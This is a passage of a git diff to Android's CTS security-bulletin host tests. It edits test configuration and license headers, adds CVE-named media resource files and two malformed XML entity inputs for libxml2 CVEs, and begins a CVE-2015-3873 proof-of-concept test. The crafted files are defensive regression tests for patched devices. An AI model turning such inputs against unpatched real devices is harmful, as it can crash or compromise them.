-            return execAndCaptureOutput(cmd.toArray(new String[0]), envp);
-        } finally {
-            // Delete tmpDir
-            File[] files = tmpDir.listFiles();
-            if (files == null) {
-                files = new File[0];
-            }
-            for (File f : files) {
-                f.delete();
-            }
-            tmpDir.delete();
-        }
-    }
-
-    /**
-     * Executes the provided command and returns the contents of standard output.
-     *
-     * @throws IOException if execution fails, returns a non-zero error code, or non-empty stderr
-     */
-    private static byte[] execAndCaptureOutput(String[] cmd, String[] envp)
-            throws InterruptedException, IOException {
-        // Start process, read its stdout and stderr in two corresponding background threads, wait
-        // for process to terminate, throw if stderr is not empty or if return code != 0.
-        final Process p = Runtime.getRuntime().exec(cmd, envp);
-        ExecutorService executorService = null;
-        try {
-            executorService = Executors.newFixedThreadPool(2);
-            Future<byte[]> stdoutContentsFuture =
-                    executorService.submit(new DrainCallable(p.getInputStream()));
-            Future<byte[]> stderrContentsFuture =
-                    executorService.submit(new DrainCallable(p.getErrorStream()));
-            int errorCode = p.waitFor();
-            byte[] stderrContents = stderrContentsFuture.get();
-            if ((errorCode != 0)  || (stderrContents.length > 0)) {
-                throw new IOException(
-                        cmd[0] + " failed with error code " + errorCode
-                            + ": " + new String(stderrContents));
-            }
-            return stdoutContentsFuture.get();
-        } catch (ExecutionException e) {
-            throw new IOException("Failed to read stdout or stderr of " + cmd[0], e);
-        } finally {
-            if (executorService != null) {
-                executorService.shutdownNow();
-            }
-        }
-    }
-
-    private static class DrainCallable implements Callable<byte[]> {
-        private final InputStream mIn;
-
-        private DrainCallable(InputStream in) {
-            mIn = in;
-        }
-
-        @Override
-        public byte[] call() throws IOException {
-            ByteArrayOutputStream result = new ByteArrayOutputStream();
-            byte[] buf = new byte[16384];
-            int chunkSize;
-            while ((chunkSize = mIn.read(buf)) != -1) {
-                result.write(buf, 0, chunkSize);
-            }
-            return result.toByteArray();
-        }
     }
 }
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 6741b82..6de6044 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -262,6 +262,8 @@
         put("SDM429", null);
         put("SDM439", null);
         put("QM215", null);
+        put("ATOLL", null);
+        put("ATOLL-AB", null);
         put("BENGAL", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("DEFAULT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y",
             "CONFIG_UNMAP_KERNEL_AT_EL0=y"});
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 382c931..707c1a0 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -239,6 +239,8 @@
 
         File systemSepolicyCilFile = File.createTempFile("plat_sepolicy", ".cil");
         systemSepolicyCilFile.deleteOnExit();
+        File fileContextsFile = File.createTempFile("file_contexts", ".txt");
+        fileContextsFile.deleteOnExit();
 
         assertTrue(device.pullFile("/system/etc/selinux/plat_sepolicy.cil", systemSepolicyCilFile));
 
@@ -246,6 +248,7 @@
             secilc.getAbsolutePath(),
             "-m", "-M", "true", "-c", "30",
             "-o", builtPolicyFile.getAbsolutePath(),
+	    "-f", fileContextsFile.getAbsolutePath(),
             systemSepolicyCilFile.getAbsolutePath());
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
         pb.redirectErrorStream(true);
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index 5da0687..2b1a50c 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsSecurityBulletinHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 41a05d5..a6b5c79 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -19,219 +19,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="cleanup" value="true" />
-        <!--__________________-->
-        <!--    Utilities     -->
-        <option name="push" value="pacrunner->/data/local/tmp/pacrunner" />
-
-        <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
-        <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
-        <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
-        <option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
-        <option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
-        <option name="push" value="CVE-2016-6733->/data/local/tmp/CVE-2016-6733" />
-        <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
-        <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
-        <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
-        <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
-        <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
-        <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
-        <option name="push" value="CVE-2016-8428->/data/local/tmp/CVE-2016-8428" />
-        <option name="push" value="CVE-2016-8429->/data/local/tmp/CVE-2016-8429" />
-        <option name="push" value="CVE-2016-8430->/data/local/tmp/CVE-2016-8430" />
-        <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
-        <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
-        <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
-        <option name="push" value="Bug-137878930->/data/local/tmp/Bug-137878930" />
-
-        <!--__________________-->
-        <!-- Bulletin 2016-04 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-2412->/data/local/tmp/CVE-2016-2412" />
-        <option name="push" value="CVE-2016-0844->/data/local/tmp/CVE-2016-0844" />
-        <option name="push" value="CVE-2016-2419->/data/local/tmp/CVE-2016-2419" />
-
-        <!--__________________-->
-        <!-- Bulletin 2016-05 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-2460->/data/local/tmp/CVE-2016-2460" />
-        <option name="push" value="CVE-2015-1805->/data/local/tmp/CVE-2015-1805" />
-
-        <!--__________________-->
-        <!-- Bulletin 2016-06 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-2482->/data/local/tmp/CVE-2016-2482" />
-
-        <!--__________________-->
-        <!-- Bulletin 2016-07 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-3747->/data/local/tmp/CVE-2016-3747" />
-        <option name="push" value="CVE-2014-9803->/data/local/tmp/CVE-2014-9803" />
-        <option name="push" value="CVE-2016-3746->/data/local/tmp/CVE-2016-3746" />
-        <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
-
-        <!-- Bulletin 2016-09 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />
-
-        <!--__________________-->
-        <!-- Bulletin 2016-10 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-3913->/data/local/tmp/CVE-2016-3913" />
-
-        <!--__________________-->
-        <!-- Bulletin 2016-11 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2012-6702->/data/local/tmp/CVE-2012-6702" />
-
-        <!--__________________-->
-        <!-- Bulletin 2016-12 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <!--__________________-->
-        <!-- Bulletin 2017-01 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2017-0386->/data/local/tmp/CVE-2017-0386" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-02 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2017-0415->/data/local/tmp/CVE-2017-0415" />
-        <option name="push" value="CVE-2017-0426->/data/local/tmp/CVE-2017-0426" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-03 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2017-0477->/data/local/tmp/CVE-2017-0477" />
-        <option name="push" value="CVE-2017-0479->/data/local/tmp/CVE-2017-0479" />
-        <option name="push" value="CVE-2017-0334->/data/local/tmp/CVE-2017-0334" />
-        <option name="push" value="CVE-2016-8479->/data/local/tmp/CVE-2016-8479" />
-        <option name="push" value="CVE-2017-0508->/data/local/tmp/CVE-2017-0508" />
-        <option name="push" value="CVE-2017-0333->/data/local/tmp/CVE-2017-0333" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-04 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-10229->/data/local/tmp/CVE-2016-10229" />
-        <option name="push" value="CVE-2014-3145->/data/local/tmp/CVE-2014-3145"/>
-        <option name="push" value="CVE-2017-0553->/data/local/tmp/CVE-2017-0553"/>
-
-        <!--__________________-->
-        <!-- Bulletin 2017-05 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-5862->/data/local/tmp/CVE-2016-5862"/>
-        <option name="push" value="CVE-2016-5867->/data/local/tmp/CVE-2016-5867"/>
-
-        <!--__________________-->
-        <!-- Bulletin 2017-06 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-4658->/data/local/tmp/CVE-2016-4658" />
-        <option name="push" value="CVE-2016-5131->/data/local/tmp/CVE-2016-5131" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-07 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-2109->/data/local/tmp/CVE-2016-2109"/>
-
-        <!--__________________-->
-        <!-- Bulletin 2017-08 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <!--__________________-->
-        <!-- Bulletin 2017-09 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="Bug-38195738->/data/local/tmp/Bug-38195738" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-10 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2017-0814->/data/local/tmp/CVE-2017-0814" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-11 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <!--__________________-->
-        <!-- Bulletin 2017-12 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2017-6262->/data/local/tmp/CVE-2017-6262" />
-
-        <!--__________________-->
-        <!-- Bulletin 2018-01 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2018-9527->/data/local/tmp/CVE-2018-9527" />
-
-        <!--__________________-->
-        <!-- Bulletin 2018-02 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2017-13273->/data/local/tmp/CVE-2017-13273" />
-        <option name="push" value="CVE-2017-13232->/data/local/tmp/CVE-2017-13232" />
-
-        <!--__________________-->
-        <!-- Bulletin 2018-03 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2017-13253->/data/local/tmp/CVE-2017-13253" />
-
-        <!--__________________-->
-        <!-- Bulletin 2018-06 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2018-9344->/data/local/tmp/CVE-2018-9344" />
-
-        <!--__________________-->
-        <!-- Bulletin 2018-07 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2018-9424->/data/local/tmp/CVE-2018-9424" />
-
-        <!--__________________-->
-        <!-- Bulletin 2018-09 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2018-9472->/data/local/tmp/CVE-2018-9472" />
-
-        <!--__________________-->
-        <!-- Bulletin 2018-10 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2018-9491->/data/local/tmp/CVE-2018-9491" />
-        <option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
-
-        <!--__________________-->
-        <!-- Bulletin 2018-11 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2018-9539->/data/local/tmp/CVE-2018-9539" />
-
-        <!--__________________-->
-        <!-- Bulletin 2019-03 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
-        <option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
-      
-        <!--__________________-->
-        <!-- Bulletin 2019-09 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2019-9313->/data/local/tmp/CVE-2019-9313" />
-
-        <!--__________________-->
-        <!-- Bulletin 2020-03 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2020-0069->/data/local/tmp/CVE-2020-0069" />
-        <option name="append-bitness" value="true" />
-    </target_preparer>
-
-    <!-- The following tests hit either 32-bit or 64-bit, but not both. All tests in this -->
-    <!-- section should take care to build either 32 bit or 64 bit binary, but not both.  -->
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="cleanup" value="true" />
-
-        <!-- Please add 32-bit binary tests below to avoid merge conflict -->
-        <option name="push" value="CVE-2019-934732->/data/local/tmp/CVE-2019-9347" />
-        <option name="push" value="CVE-2017-084032->/data/local/tmp/CVE-2017-0840" />
-        <option name="push" value="CVE-2017-1324132->/data/local/tmp/CVE-2017-13241" />
-
-        <!-- Please add 64-bit binary tests below to avoid merge conflict -->
-
-
-        <option name="append-bitness" value="false" />
-    </target_preparer>
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -249,4 +36,11 @@
         <option name="jar" value="CtsSecurityBulletinHostTestCases.jar" />
         <option name="runtime-hint" value="18m26s" />
     </test>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
+        <option name="src-dir" value="/sdcard/report-log-files/"/>
+        <option name="dest-dir" value="report-log-files/"/>
+        <option name="temp-dir" value="temp-report-logs/"/>
+        <option name="device-dir" value="true"/>
+    </target_preparer>
 </configuration>
diff --git a/hostsidetests/securitybulletin/OWNERS b/hostsidetests/securitybulletin/OWNERS
index 68945d3..28ce2a5 100644
--- a/hostsidetests/securitybulletin/OWNERS
+++ b/hostsidetests/securitybulletin/OWNERS
@@ -1,4 +1,5 @@
 # Bug component: 36824
 mspector@google.com
-samschumacher@google.com
 manjaepark@google.com
+cdombroski@google.com
+lgallegos@google.com
diff --git a/hostsidetests/securitybulletin/res/cve_2015_3873.mp4 b/hostsidetests/securitybulletin/res/cve_2015_3873.mp4
new file mode 100644
index 0000000..ec5938c
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2015_3873.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_10244 b/hostsidetests/securitybulletin/res/cve_2016_10244
new file mode 100644
index 0000000..6f0fad7
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_10244
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_2485.raw b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
new file mode 100644
index 0000000..ee7c95a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_6328.mp4 b/hostsidetests/securitybulletin/res/cve_2016_6328.mp4
new file mode 100644
index 0000000..8813ef60
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_6328.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0697.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0697.mp4
new file mode 100644
index 0000000..ef300fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0697.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_13234.xmf b/hostsidetests/securitybulletin/res/cve_2017_13234.xmf
new file mode 100644
index 0000000..3c249fa
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_13234.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml
new file mode 100644
index 0000000..d9e9e83
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml
@@ -0,0 +1,3 @@
+<!DOCTYPE D [
+  <!ENTITY % a "<:0000">
+  %a;
diff --git a/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml
new file mode 100644
index 0000000..4f0d81a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml
@@ -0,0 +1,3 @@
+<!DOCTYPE D [
+  <!ENTITY % a "<:000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000">
+  %a;
diff --git a/hostsidetests/securitybulletin/res/cve_2019_1988.mp4 b/hostsidetests/securitybulletin/res/cve_2019_1988.mp4
new file mode 100644
index 0000000..cdff65b
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_1988.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4 b/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4
new file mode 100644
index 0000000..d8f7d4e
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_9308.mp4 b/hostsidetests/securitybulletin/res/cve_2019_9308.mp4
new file mode 100644
index 0000000..fbfc625
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_9308.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0213.hevc b/hostsidetests/securitybulletin/res/cve_2020_0213.hevc
new file mode 100644
index 0000000..f34f874
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0213.hevc
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0213_info.txt b/hostsidetests/securitybulletin/res/cve_2020_0213_info.txt
new file mode 100644
index 0000000..0dde4a8
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0213_info.txt
@@ -0,0 +1,2 @@
+73 32 0
+304 0 33333
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0451.aac b/hostsidetests/securitybulletin/res/cve_2020_0451.aac
new file mode 100644
index 0000000..7b04e05
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0451.aac
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0470.mp4 b/hostsidetests/securitybulletin/res/cve_2020_0470.mp4
new file mode 100644
index 0000000..d77b2f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0470.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.bp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.bp
index 03e9154..b145ce8 100644
--- a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "Bug-115739809",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.bp b/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.bp
index 700999c..e3cc1df 100644
--- a/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "Bug-137878930",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.bp b/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.bp
index 3d44266..9754423 100644
--- a/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "Bug-38195738",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.bp
index 2c0206e..ed60a1d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2012-6702",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.bp
index 439c139..0f770b3 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2014-3145",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.bp
index c8d5dc5..756e6d2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2014-9803",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.bp
index 76485b6..7afaa2f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2015-1805",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
new file mode 100644
index 0000000..891c7ad
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2015-3873",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    include_dirs: [
+        "frameworks/av/media/libdatasource/include",
+        "frameworks/av/media/libmedia/include",
+    ],
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            shared_libs: [
+            "libstagefright",
+            "libutils",
+            "libmedia",
+            "libstagefright_foundation",
+            "libdatasource",
+        ],
+        suffix: "64",
+      },
+   },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp
new file mode 100644
index 0000000..789d436
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp
@@ -0,0 +1,121 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <android/IMediaExtractor.h>
+#include <datasource/FileSource.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/MediaTrack.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
